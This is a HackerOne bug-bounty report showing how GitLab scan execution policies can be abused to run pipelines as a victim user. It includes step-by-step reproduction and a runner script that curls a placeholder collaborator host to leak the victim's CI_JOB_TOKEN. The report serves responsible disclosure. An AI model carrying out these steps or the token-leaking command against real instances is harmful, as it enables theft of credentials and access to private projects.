Abuse Scan execution policies to run pipeline as a victim user (fix bypass)
HackerOne report #2147126 by joaxcar
on 2023-09-13, assigned to H1 Triage
:
Report
Summary
There was a fix implemented in 16.2.2: an-attacker-can-run-pipeline-jobs-as-arbitrary-user 2023-08-01
where an attacker could run jobs as other users by modifying the policy project history. The fix that was implemented has two parts, GitLab switched the check from git history (which is spoofable) to merge history which should not be spoofable, but this fix was also overlayed with a new feature where the policy pipeline is instead run by a bot user that only have access to the project.
I have found a bypass to this fix, and I also think that the impact here (and in the original report) is higher than was stated for the previous bug.
There still exist two ways where an attacker can run pipelines as a victim user:
- An
external
user can run pipelines as a victiminternal
user under certain circumstances (more on that later) - Using
direct transfer
to import a policy project and spoof the MR that configures the policy
The first one using an external
user is only valid if the external
user is a maintainer in a project where there already exists a SAST
scan policy configured by another user or inherited from the parent project. In this scenario, the external
user can add a malicious runner
to the project and kick out the security bot
member from the project. This will cause the future policy pipelines to run as whoever created the policy. This will allow the external user to gain access to internal projects using the CI_JOB_TOKEN
connected to the victim
The other attack is more general and uses the information in my other report here https://hackerone.com/reports/2146924 to spoof the MR author of the policy project. This will allow the attacker
to run pipelines as any user on the instance.
Steps to reproduce
Create an attacker runner
The attacker needs to have access to a runner and use some form of VM to host the runner. You can use a Dropplet on any cloud provider or similar
- Log in and go to https://gitlab.example.com/shared_group/shared_project/-/settings/ci_cd and expand the
runners
tab - Click "Create new project runner"
- Fill out the form, make sure to fill in the checkbox "Run untagged jobs"
- Follow the steps presented on the screen to Create and register a runner. When asked what executor to use make sure to select "shell"
- SSH into your runner machine and create a bash file named analyzer at root level
/analyzer
run
nano /analyzer
type this in the file
### !/bin/bash
curl https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}
sleep 3600
then run
root@ubuntu123$ chmod +x /analyzer
- The runner is ready. The bash script will leak the CI_JOB_TOKEN to your catch server and then sleep for an hour, making the token usable for the attacker
Preparations
- You need access to a self-hosted GitLab instance with a configured SSL cert (direct import is only available through HTTPS)
- Create two accounts on GitLab.com (
attacker
andvictim
) - Log in as an
admin
on the attacker instance https://gitlab.attacker.com - Create a user on the attacker instance using the victim's email, and validate the user as the admin
- Make sure to put the victim email on the fake user as a "public email"
- Log out and log back into the attacker instance as the fake victim user
- Create a new group
spoof
- Create a project in the group
project1
- go to https://gitlab.example.com/spoof/project1/ and create a new file, name it "package.json". You can leave the file empty, this is just to have a SCAN policy to run
- Go to https://gitlab.example.com/spoof/project1/-/branches and create a new branch called "test"
- Go to https://gitlab.example.com/spoof/project1/-/security/policies
- Click "New Policy" and select "Select Scan execution policy"
- Switch to .yaml mode and paste this YAML
---
type: scan_execution_policy
name: test
description: hello
enabled: true
rules:
- type: schedule
branches:
- test
cadence: '*/16 * * * *'
actions:
- scan: sast
tags: []
- Select Configure with a merge request
- Select Merge.
- You should now have a project and a policy project in the
spoof
group
Attack
- Log in to Gitlab.com as
attacker
- Go to https://gitlab.com/groups/new#import-group-pane
- Fill in the attacker instance URL and the access token
- Click Connect instance
- In the list click on "Import with projects" on the right of the
spoof
group - When the import is finished go to the newly imported group.
- Go into the
project1
and go to https://gitlab.com/NEWGROUP/project1/-/security/policies - Click "Configure security project" and search for
NEWGROUP/project1
and select theNEWGROUP/project1_policy
project - Go to https://gitlab.com/NEWGROUP/project1/-/project_members and remove the
bot
user from the group - Go to https://gitlab.com/NEWGROUP/project1/-/settings/ci_cd and add the attacker runner to this project
- Wait for 15 minutes or more and eventually you will get a request to your catch server like this
https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}
copy the token and use it in this curl command
Impact
Using the leaked CI_JOB_TOKEN
from the victim the attacker can clone private projects owned by the victim user (this is the high
confidentiality). The job token also has access to trigger pipelines on these projects and add variables to the pipelines in private projects (this is the low
integrity and scope change
). I will go deeper into the impact here in a follow up comment.
What is the current bug behavior?
Allowing to "fallback" to MR author for pipeline creator opens up for two ways of running pipelines as other users
What is the expected correct behavior?
The policy pipelines should not allow to run pipelines as other users
Impact
Access to victim's private projects and running pipelines on these projects
How To Reproduce
Please add reproducibility information to this section: